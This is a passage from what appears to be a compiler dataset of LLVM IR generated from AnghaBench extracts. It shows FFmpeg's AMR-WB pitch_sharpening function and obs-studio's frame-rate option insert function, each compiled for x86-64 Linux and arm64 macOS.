; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_amrwbdec.c_pitch_sharpening.c' source_filename = "AnghaBench/FFmpeg/libavcodec/extr_amrwbdec.c_pitch_sharpening.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_3__ = type { float, i32 } @AMRWB_SFR_SIZE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @pitch_sharpening], section "llvm.metadata" ; Function Attrs: nofree norecurse nosync nounwind memory(read, argmem: readwrite, inaccessiblemem: none) uwtable define internal void @pitch_sharpening(ptr nocapture noundef readonly %0, ptr nocapture noundef %1) #0 { %3 = load i32, ptr @AMRWB_SFR_SIZE, align 4, !tbaa !5 %4 = getelementptr float, ptr %1, i64 -2 %5 = icmp eq i32 %3, 1 br i1 %5, label %104, label %6 6: ; preds = %2 %7 = sext i32 %3 to i64 %8 = add nsw i64 %7, -1 %9 = add i32 %3, -1 %10 = zext i32 %9 to i64 %11 = icmp ult i32 %9, 8 br i1 %11, label %60, label %12 12: ; preds = %6 %13 = shl nsw i64 %7, 2 %14 = add nsw i64 %13, -8 %15 = add i32 %3, -2 %16 = zext i32 %15 to i64 %17 = shl nuw nsw i64 %16, 2 %18 = sub nsw i64 %14, %17 %19 = getelementptr i8, ptr %1, i64 %18 %20 = getelementptr i8, ptr %1, i64 %13 %21 = getelementptr i8, ptr %0, i64 4 %22 = icmp ult ptr %19, %21 %23 = icmp ugt ptr %20, %0 %24 = and i1 %22, %23 br i1 %24, label %60, label %25 25: ; preds = %12 %26 = and i64 %10, 4294967288 %27 = sub nsw i64 %7, %26 %28 = sub nsw i64 %8, %26 %29 = load float, ptr %0, align 4, !tbaa !9, !alias.scope !12 %30 = insertelement <4 x float> poison, float %29, i64 0 %31 = shufflevector <4 x float> %30, <4 x float> poison, <4 x i32> zeroinitializer br label %32 32: ; preds = %32, %25 %33 = phi i64 [ 0, %25 ], [ %56, %32 ] %34 = sub i64 %8, %33 %35 = sub i64 %7, %33 %36 = getelementptr float, ptr %4, i64 %35 %37 = getelementptr float, ptr %36, i64 -3 %38 = getelementptr float, ptr %36, i64 -7 %39 = load <4 x float>, ptr %37, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %40 = shufflevector <4 x float> %39, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> %41 = load <4 x float>, ptr %38, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %42 = shufflevector <4 x float> %41, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> %43 = getelementptr inbounds float, ptr %1, i64 %34 %44 = getelementptr inbounds float, ptr %43, i64 -3 %45 = getelementptr inbounds float, ptr %43, i64 -7 %46 = load <4 x float>, ptr %44, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %47 = shufflevector <4 x float> %46, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> %48 = load <4 x float>, ptr %45, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %49 = shufflevector <4 x float> %48, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> %50 = fneg <4 x float> %40 %51 = fneg <4 x float> %42 %52 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %50, <4 x float> %31, <4 x float> %47) %53 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %51, <4 x float> %31, <4 x float> %49) %54 = shufflevector <4 x float> %52, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> store <4 x float> %54, ptr %44, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %55 = shufflevector <4 x float> %53, <4 x float> poison, <4 x i32> <i32 3, i32 2, i32 1, i32 0> store <4 x float> %55, ptr %45, align 4, !tbaa !15, !alias.scope !16, !noalias !12 %56 = add nuw i64 %33, 8 %57 = icmp eq i64 %56, %26 br i1 %57, label %58, label %32, !llvm.loop !18 58: ; preds = %32 %59 = icmp eq i64 %26, %10 br i1 %59, label %104, label %60 60: ; preds = %12, %6, %58 %61 = phi i64 [ %7, %12 ], [ %7, %6 ], [ %27, %58 ] %62 = phi i64 [ %8, %12 ], [ %8, %6 ], [ %28, %58 ] %63 = trunc i64 %62 to i32 %64 = and i32 %63, 1 %65 = icmp eq i32 %64, 0 br i1 %65, label %76, label %66 66: ; preds = %60 %67 = getelementptr float, ptr %4, i64 %61 %68 = load float, ptr %67, align 4, !tbaa !15 %69 = load float, ptr %0, align 4, !tbaa !9 %70 = getelementptr inbounds float, ptr %1, i64 %62 %71 = load float, ptr %70, align 4, !tbaa !15 %72 = fneg float %68 %73 = tail call float @llvm.fmuladd.f32(float %72, float %69, float %71) store float %73, ptr %70, align 4, !tbaa !15 %74 = add nsw i64 %62, -1 %75 = add nsw i64 %61, -1 br label %76 76: ; preds = %66, %60 %77 = phi i64 [ %61, %60 ], [ %75, %66 ] %78 = phi i64 [ %62, %60 ], [ %74, %66 ] %79 = icmp eq i32 %63, 1 br i1 %79, label %104, label %80 80: ; preds = %76 %81 = getelementptr float, ptr %4, i64 -1 %82 = getelementptr float, ptr %1, i64 -1 br label %83 83: ; preds = %83, %80 %84 = phi i64 [ %77, %80 ], [ %103, %83 ] %85 = phi i64 [ %78, %80 ], [ %100, %83 ] %86 = getelementptr float, ptr %4, i64 %84 %87 = load float, ptr %86, align 4, !tbaa !15 %88 = load float, ptr %0, align 4, !tbaa !9 %89 = getelementptr inbounds float, ptr %1, i64 %85 %90 = load float, ptr %89, align 4, !tbaa !15 %91 = fneg float %87 %92 = tail call float @llvm.fmuladd.f32(float %91, float %88, float %90) store float %92, ptr %89, align 4, !tbaa !15 %93 = getelementptr float, ptr %81, i64 %84 %94 = load float, ptr %93, align 4, !tbaa !15 %95 = load float, ptr %0, align 4, !tbaa !9 %96 = getelementptr float, ptr %82, i64 %85 %97 = load float, ptr %96, align 4, !tbaa !15 %98 = fneg float %94 %99 = tail call float @llvm.fmuladd.f32(float %98, float %95, float %97) store float %99, ptr %96, align 4, !tbaa !15 %100 = add nsw i64 %85, -2 %101 = and i64 %100, 4294967295 %102 = icmp eq i64 %101, 0 %103 = add nsw i64 %84, -2 br i1 %102, label %104, label %83, !llvm.loop !22 104: ; preds = %76, %83, %58, %2 %105 = getelementptr inbounds %struct.TYPE_3__, ptr %0, i64 0, i32 1 %106 = load i32, ptr %105, align 4, !tbaa !23 %107 = icmp slt i32 %106, %3 br i1 %107, label %108, label %184 108: ; preds = %104 %109 = sext i32 %106 to i64 %110 = sext i32 %3 to i64 %111 = sub nsw i64 %110, %109 %112 = icmp ult i64 %111, 8 br i1 %112, label %141, label %113 113: ; preds = %108 %114 = shl nsw i64 %109, 2 %115 = getelementptr i8, ptr %1, i64 %114 %116 = shl nsw i64 %110, 2 %117 = getelementptr i8, ptr %1, i64 %116 %118 = sub nsw i64 %116, %114 %119 = getelementptr i8, ptr %1, i64 %118 %120 = icmp ult ptr %115, %119 %121 = icmp ugt ptr %117, %1 %122 = and i1 %120, %121 br i1 %122, label %141, label %123 123: ; preds = %113 %124 = and i64 %111, -4 %125 = add nsw i64 %124, %109 %126 = getelementptr float, ptr %1, i64 %109 br label %127 127: ; preds = %127, %123 %128 = phi i64 [ 0, %123 ], [ %137, %127 ] %129 = getelementptr inbounds float, ptr %1, i64 %128 %130 = load <4 x float>, ptr %129, align 4, !tbaa !15, !alias.scope !24 %131 = fpext <4 x float> %130 to <4 x double> %132 = getelementptr float, ptr %126, i64 %128 %133 = load <4 x float>, ptr %132, align 4, !tbaa !15, !alias.scope !27, !noalias !24 %134 = fpext <4 x float> %133 to <4 x double> %135 = tail call <4 x double> @llvm.fmuladd.v4f64(<4 x double> %131, <4 x double> <double 8.500000e-01, double 8.500000e-01, double 8.500000e-01, double 8.500000e-01>, <4 x double> %134) %136 = fptrunc <4 x double> %135 to <4 x float> store <4 x float> %136, ptr %132, align 4, !tbaa !15, !alias.scope !27, !noalias !24 %137 = add nuw i64 %128, 4 %138 = icmp eq i64 %137, %124 br i1 %138, label %139, label %127, !llvm.loop !29 139: ; preds = %127 %140 = icmp eq i64 %111, %124 br i1 %140, label %184, label %141 141: ; preds = %113, %108, %139 %142 = phi i64 [ %109, %113 ], [ %109, %108 ], [ %125, %139 ] %143 = sub nsw i64 %110, %142 %144 = and i64 %143, 1 %145 = icmp eq i64 %144, 0 br i1 %145, label %157, label %146 146: ; preds = %141 %147 = sub nsw i64 %142, %109 %148 = getelementptr inbounds float, ptr %1, i64 %147 %149 = load float, ptr %148, align 4, !tbaa !15 %150 = fpext float %149 to double %151 = getelementptr inbounds float, ptr %1, i64 %142 %152 = load float, ptr %151, align 4, !tbaa !15 %153 = fpext float %152 to double %154 = tail call double @llvm.fmuladd.f64(double %150, double 8.500000e-01, double %153) %155 = fptrunc double %154 to float store float %155, ptr %151, align 4, !tbaa !15 %156 = add nsw i64 %142, 1 br label %157 157: ; preds = %146, %141 %158 = phi i64 [ %142, %141 ], [ %156, %146 ] %159 = add nsw i64 %110, -1 %160 = icmp eq i64 %142, %159 br i1 %160, label %184, label %161 161: ; preds = %157, %161 %162 = phi i64 [ %182, %161 ], [ %158, %157 ] %163 = sub nsw i64 %162, %109 %164 = getelementptr inbounds float, ptr %1, i64 %163 %165 = load float, ptr %164, align 4, !tbaa !15 %166 = fpext float %165 to double %167 = getelementptr inbounds float, ptr %1, i64 %162 %168 = load float, ptr %167, align 4, !tbaa !15 %169 = fpext float %168 to double %170 = tail call double @llvm.fmuladd.f64(double %166, double 8.500000e-01, double %169) %171 = fptrunc double %170 to float store float %171, ptr %167, align 4, !tbaa !15 %172 = add nsw i64 %162, 1 %173 = sub nsw i64 %172, %109 %174 = getelementptr inbounds float, ptr %1, i64 %173 %175 = load float, ptr %174, align 4, !tbaa !15 %176 = fpext float %175 to double %177 = getelementptr inbounds float, ptr %1, i64 %172 %178 = load float, ptr %177, align 4, !tbaa !15 %179 = fpext float %178 to double %180 = tail call double @llvm.fmuladd.f64(double %176, double 8.500000e-01, double %179) %181 = fptrunc double %180 to float store float %181, ptr %177, align 4, !tbaa !15 %182 = add nsw i64 %162, 2 %183 = icmp eq i64 %182, %110 br i1 %183, label %184, label %161, !llvm.loop !30 184: ; preds = %157, %161, %139, %104 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare float @llvm.fmuladd.f32(float, float, float) #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare <4 x float> @llvm.fmuladd.v4f32(<4 x float>, <4 x float>, <4 x float>) #2 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare <4 x double> @llvm.fmuladd.v4f64(<4 x double>, <4 x double>, <4 x double>) #2 attributes #0 = { nofree norecurse nosync nounwind memory(read, argmem: readwrite, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !11, i64 0} !10 = !{!"TYPE_3__", !11, i64 0, !6, i64 4} !11 = !{!"float", !7, i64 0} !12 = !{!13} !13 = distinct !{!13, !14} !14 = distinct !{!14, !"LVerDomain"} !15 = !{!11, !11, i64 0} !16 = !{!17} !17 = distinct !{!17, !14} !18 = distinct !{!18, !19, !20, !21} !19 = !{!"llvm.loop.mustprogress"} !20 = !{!"llvm.loop.isvectorized", i32 1} !21 = !{!"llvm.loop.unroll.runtime.disable"} !22 = distinct !{!22, !19, !20} !23 = !{!10, !6, i64 4} !24 = !{!25} !25 = distinct !{!25, !26} !26 = distinct !{!26, !"LVerDomain"} !27 = !{!28} !28 = distinct !{!28, !26} !29 = distinct !{!29, !19, !20, !21} !30 = distinct !{!30, !19, !20}
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_amrwbdec.c_pitch_sharpening.c' source_filename = "AnghaBench/FFmpeg/libavcodec/extr_amrwbdec.c_pitch_sharpening.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @AMRWB_SFR_SIZE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @pitch_sharpening], section "llvm.metadata" ; Function Attrs: nofree norecurse nosync nounwind ssp memory(read, argmem: readwrite, inaccessiblemem: none) uwtable(sync) define internal void @pitch_sharpening(ptr nocapture noundef readonly %0, ptr nocapture noundef %1) #0 { %3 = load i32, ptr @AMRWB_SFR_SIZE, align 4, !tbaa !6 %4 = getelementptr i8, ptr %1, i64 -8 %5 = icmp eq i32 %3, 1 br i1 %5, label %77, label %6 6: ; preds = %2 %7 = sext i32 %3 to i64 %8 = add nsw i64 %7, -1 %9 = icmp ult i64 %8, 16 br i1 %9, label %61, label %10 10: ; preds = %6 %11 = shl nsw i64 %7, 2 %12 = getelementptr i8, ptr %1, i64 %11 %13 = getelementptr i8, ptr %0, i64 4 %14 = icmp ugt ptr %13, %1 %15 = icmp ugt ptr %12, %0 %16 = and i1 %14, %15 br i1 %16, label %61, label %17 17: ; preds = %10 %18 = and i64 %8, -16 %19 = sub nsw i64 %7, %18 %20 = and i64 %8, 15 %21 = load float, ptr %0, align 4, !tbaa !10, !alias.scope !13 %22 = insertelement <4 x float> poison, float %21, i64 0 %23 = shufflevector <4 x float> %22, <4 x float> poison, <4 x i32> zeroinitializer %24 = shufflevector <4 x float> %22, <4 x float> poison, <4 x i32> zeroinitializer %25 = shufflevector <4 x float> %22, <4 x float> poison, <4 x i32> zeroinitializer %26 = shufflevector <4 x float> %22, <4 x float> poison, <4 x i32> zeroinitializer br label %27 27: ; preds = %27, %17 %28 = phi i64 [ 0, %17 ], [ %57, %27 ] %29 = sub i64 %7, %28 %30 = sub i64 %8, %28 %31 = getelementptr float, ptr %4, i64 %29 %32 = getelementptr i8, ptr %31, i64 -12 %33 = getelementptr i8, ptr %31, i64 -28 %34 = getelementptr i8, ptr %31, i64 -44 %35 = getelementptr i8, ptr %31, i64 -60 %36 = load <4 x float>, ptr %32, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %37 = load <4 x float>, ptr %33, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %38 = load <4 x float>, ptr %34, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %39 = load <4 x float>, ptr %35, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %40 = getelementptr inbounds float, ptr %1, i64 %30 %41 = getelementptr inbounds i8, ptr %40, i64 -12 %42 = getelementptr inbounds i8, ptr %40, i64 -28 %43 = getelementptr inbounds i8, ptr %40, i64 -44 %44 = getelementptr inbounds i8, ptr %40, i64 -60 %45 = load <4 x float>, ptr %41, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %46 = load <4 x float>, ptr %42, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %47 = load <4 x float>, ptr %43, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %48 = load <4 x float>, ptr %44, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %49 = fneg <4 x float> %36 %50 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %49, <4 x float> %23, <4 x float> %45) store <4 x float> %50, ptr %41, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %51 = fneg <4 x float> %37 %52 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %51, <4 x float> %24, <4 x float> %46) store <4 x float> %52, ptr %42, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %53 = fneg <4 x float> %38 %54 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %53, <4 x float> %25, <4 x float> %47) store <4 x float> %54, ptr %43, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %55 = fneg <4 x float> %39 %56 = tail call <4 x float> @llvm.fmuladd.v4f32(<4 x float> %55, <4 x float> %26, <4 x float> %48) store <4 x float> %56, ptr %44, align 4, !tbaa !16, !alias.scope !17, !noalias !13 %57 = add nuw i64 %28, 16 %58 = icmp eq i64 %57, %18 br i1 %58, label %59, label %27, !llvm.loop !19 59: ; preds = %27 %60 = icmp eq i64 %8, %18 br i1 %60, label %77, label %61 61: ; preds = %59, %10, %6 %62 = phi i64 [ %7, %10 ], [ %7, %6 ], [ %19, %59 ] %63 = phi i64 [ %8, %10 ], [ %8, %6 ], [ %20, %59 ] br label %64 64: ; preds = %61, %64 %65 = phi i64 [ %76, %64 ], [ %62, %61 ] %66 = phi i64 [ %74, %64 ], [ %63, %61 ] %67 = getelementptr float, ptr %4, i64 %65 %68 = load float, ptr %67, align 4, !tbaa !16 %69 = load float, ptr %0, align 4, !tbaa !10 %70 = getelementptr inbounds float, ptr %1, i64 %66 %71 = load float, ptr %70, align 4, !tbaa !16 %72 = fneg float %68 %73 = tail call float @llvm.fmuladd.f32(float %72, float %69, float %71) store float %73, ptr %70, align 4, !tbaa !16 %74 = add nsw i64 %66, -1 %75 = icmp eq i64 %74, 0 %76 = add nsw i64 %65, -1 br i1 %75, label %77, label %64, !llvm.loop !23 77: ; preds = %64, %59, %2 %78 = getelementptr inbounds i8, ptr %0, i64 4 %79 = load i32, ptr %78, align 4, !tbaa !24 %80 = icmp slt i32 %79, %3 br i1 %80, label %81, label %153 81: ; preds = %77 %82 = sext i32 %79 to i64 %83 = sext i32 %3 to i64 %84 = sub nsw i64 %83, %82 %85 = icmp ult i64 %84, 16 br i1 %85, label %138, label %86 86: ; preds = %81 %87 = shl nsw i64 %82, 2 %88 = getelementptr i8, ptr %1, i64 %87 %89 = shl nsw i64 %83, 2 %90 = getelementptr i8, ptr %1, i64 %89 %91 = sub nsw i64 %89, %87 %92 = getelementptr i8, ptr %1, i64 %91 %93 = icmp ult ptr %88, %92 %94 = icmp ugt ptr %90, %1 %95 = and i1 %93, %94 br i1 %95, label %138, label %96 96: ; preds = %86 %97 = and i64 %84, -16 %98 = add nsw i64 %97, %82 %99 = getelementptr float, ptr %1, i64 %82 br label %100 100: ; preds = %100, %96 %101 = phi i64 [ 0, %96 ], [ %134, %100 ] %102 = getelementptr inbounds float, ptr %1, i64 %101 %103 = getelementptr inbounds i8, ptr %102, i64 16 %104 = getelementptr inbounds i8, ptr %102, i64 32 %105 = getelementptr inbounds i8, ptr %102, i64 48 %106 = load <4 x float>, ptr %102, align 4, !tbaa !16, !alias.scope !25 %107 = load <4 x float>, ptr %103, align 4, !tbaa !16, !alias.scope !25 %108 = load <4 x float>, ptr %104, align 4, !tbaa !16, !alias.scope !25 %109 = load <4 x float>, ptr %105, align 4, !tbaa !16, !alias.scope !25 %110 = fpext <4 x float> %106 to <4 x double> %111 = fpext <4 x float> %107 to <4 x double> %112 = fpext <4 x float> %108 to <4 x double> %113 = fpext <4 x float> %109 to <4 x double> %114 = getelementptr float, ptr %99, i64 %101 %115 = getelementptr inbounds i8, ptr %114, i64 16 %116 = getelementptr inbounds i8, ptr %114, i64 32 %117 = getelementptr inbounds i8, ptr %114, i64 48 %118 = load <4 x float>, ptr %114, align 4, !tbaa !16, !alias.scope !28, !noalias !25 %119 = load <4 x float>, ptr %115, align 4, !tbaa !16, !alias.scope !28, !noalias !25 %120 = load <4 x float>, ptr %116, align 4, !tbaa !16, !alias.scope !28, !noalias !25 %121 = load <4 x float>, ptr %117, align 4, !tbaa !16, !alias.scope !28, !noalias !25 %122 = fpext <4 x float> %118 to <4 x double> %123 = fpext <4 x float> %119 to <4 x double> %124 = fpext <4 x float> %120 to <4 x double> %125 = fpext <4 x float> %121 to <4 x double> %126 = tail call <4 x double> @llvm.fmuladd.v4f64(<4 x double> %110, <4 x double> <double 8.500000e-01, double 8.500000e-01, double 8.500000e-01, double 8.500000e-01>, <4 x double> %122) %127 = tail call <4 x double> @llvm.fmuladd.v4f64(<4 x double> %111, <4 x double> <double 8.500000e-01, double 8.500000e-01, double 8.500000e-01, double 8.500000e-01>, <4 x double> %123) %128 = tail call <4 x double> @llvm.fmuladd.v4f64(<4 x double> %112, <4 x double> <double 8.500000e-01, double 8.500000e-01, double 8.500000e-01, double 8.500000e-01>, <4 x double> %124) %129 = tail call <4 x double> @llvm.fmuladd.v4f64(<4 x double> %113, <4 x double> <double 8.500000e-01, double 8.500000e-01, double 8.500000e-01, double 8.500000e-01>, <4 x double> %125) %130 = fptrunc <4 x double> %126 to <4 x float> %131 = fptrunc <4 x double> %127 to <4 x float> %132 = fptrunc <4 x double> %128 to <4 x float> %133 = fptrunc <4 x double> %129 to <4 x float> store <4 x float> %130, ptr %114, align 4, !tbaa !16, !alias.scope !28, !noalias !25 store <4 x float> %131, ptr %115, align 4, !tbaa !16, !alias.scope !28, !noalias !25 store <4 x float> %132, ptr %116, align 4, !tbaa !16, !alias.scope !28, !noalias !25 store <4 x float> %133, ptr %117, align 4, !tbaa !16, !alias.scope !28, !noalias !25 %134 = add nuw i64 %101, 16 %135 = icmp eq i64 %134, %97 br i1 %135, label %136, label %100, !llvm.loop !30 136: ; preds = %100 %137 = icmp eq i64 %84, %97 br i1 %137, label %153, label %138 138: ; preds = %136, %86, %81 %139 = phi i64 [ %82, %86 ], [ %82, %81 ], [ %98, %136 ] br label %140 140: ; preds = %138, %140 %141 = phi i64 [ %151, %140 ], [ %139, %138 ] %142 = sub nsw i64 %141, %82 %143 = getelementptr inbounds float, ptr %1, i64 %142 %144 = load float, ptr %143, align 4, !tbaa !16 %145 = fpext float %144 to double %146 = getelementptr inbounds float, ptr %1, i64 %141 %147 = load float, ptr %146, align 4, !tbaa !16 %148 = fpext float %147 to double %149 = tail call double @llvm.fmuladd.f64(double %145, double 8.500000e-01, double %148) %150 = fptrunc double %149 to float store float %150, ptr %146, align 4, !tbaa !16 %151 = add nsw i64 %141, 1 %152 = icmp eq i64 %151, %83 br i1 %152, label %153, label %140, !llvm.loop !31 153: ; preds = %140, %136, %77 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare float @llvm.fmuladd.f32(float, float, float) #1 ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare <4 x float> @llvm.fmuladd.v4f32(<4 x float>, <4 x float>, <4 x float>) #2 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare <4 x double> @llvm.fmuladd.v4f64(<4 x double>, <4 x double>, <4 x double>) #2 attributes #0 = { nofree norecurse nosync nounwind ssp memory(read, argmem: readwrite, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"TYPE_3__", !12, i64 0, !7, i64 4} !12 = !{!"float", !8, i64 0} !13 = !{!14} !14 = distinct !{!14, !15} !15 = distinct !{!15, !"LVerDomain"} !16 = !{!12, !12, i64 0} !17 = !{!18} !18 = distinct !{!18, !15} !19 = distinct !{!19, !20, !21, !22} !20 = !{!"llvm.loop.mustprogress"} !21 = !{!"llvm.loop.isvectorized", i32 1} !22 = !{!"llvm.loop.unroll.runtime.disable"} !23 = distinct !{!23, !20, !21} !24 = !{!11, !7, i64 4} !25 = !{!26} !26 = distinct !{!26, !27} !27 = distinct !{!27, !"LVerDomain"} !28 = !{!29} !29 = distinct !{!29, !27} !30 = distinct !{!30, !20, !21, !22} !31 = distinct !{!31, !20, !21}
FFmpeg_libavcodec_extr_amrwbdec.c_pitch_sharpening
; ModuleID = 'AnghaBench/obs-studio/libobs/extr_obs-properties.c_obs_property_frame_rate_option_insert.c' source_filename = "AnghaBench/obs-studio/libobs/extr_obs-properties.c_obs_property_frame_rate_option_insert.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.frame_rate_option = type { ptr, ptr } @OBS_PROPERTY_FRAME_RATE = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @obs_property_frame_rate_option_insert(ptr noundef %0, i64 noundef %1, ptr noundef %2, ptr noundef %3) local_unnamed_addr #0 { %5 = load i32, ptr @OBS_PROPERTY_FRAME_RATE, align 4, !tbaa !5 %6 = tail call ptr @get_type_data(ptr noundef %0, i32 noundef %5) #2 %7 = icmp eq ptr %6, null br i1 %7, label %14, label %8 8: ; preds = %4 %9 = load i32, ptr %6, align 4, !tbaa !9 %10 = tail call ptr @da_insert_new(i32 noundef %9, i64 noundef %1) #2 %11 = tail call ptr @bstrdup(ptr noundef %2) #2 %12 = getelementptr inbounds %struct.frame_rate_option, ptr %10, i64 0, i32 1 store ptr %11, ptr %12, align 8, !tbaa !11 %13 = tail call ptr @bstrdup(ptr noundef %3) #2 store ptr %13, ptr %10, align 8, !tbaa !14 br label %14 14: ; preds = %4, %8 ret void } declare ptr @get_type_data(ptr noundef, i32 noundef) local_unnamed_addr #1 declare ptr @da_insert_new(i32 noundef, i64 noundef) local_unnamed_addr #1 declare ptr @bstrdup(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"frame_rate_data", !6, i64 0} !11 = !{!12, !13, i64 8} !12 = !{!"frame_rate_option", !13, i64 0, !13, i64 8} !13 = !{!"any pointer", !7, i64 0} !14 = !{!12, !13, i64 0}
; ModuleID = 'AnghaBench/obs-studio/libobs/extr_obs-properties.c_obs_property_frame_rate_option_insert.c' source_filename = "AnghaBench/obs-studio/libobs/extr_obs-properties.c_obs_property_frame_rate_option_insert.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @OBS_PROPERTY_FRAME_RATE = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @obs_property_frame_rate_option_insert(ptr noundef %0, i64 noundef %1, ptr noundef %2, ptr noundef %3) local_unnamed_addr #0 { %5 = load i32, ptr @OBS_PROPERTY_FRAME_RATE, align 4, !tbaa !6 %6 = tail call ptr @get_type_data(ptr noundef %0, i32 noundef %5) #2 %7 = icmp eq ptr %6, null br i1 %7, label %14, label %8 8: ; preds = %4 %9 = load i32, ptr %6, align 4, !tbaa !10 %10 = tail call ptr @da_insert_new(i32 noundef %9, i64 noundef %1) #2 %11 = tail call ptr @bstrdup(ptr noundef %2) #2 %12 = getelementptr inbounds i8, ptr %10, i64 8 store ptr %11, ptr %12, align 8, !tbaa !12 %13 = tail call ptr @bstrdup(ptr noundef %3) #2 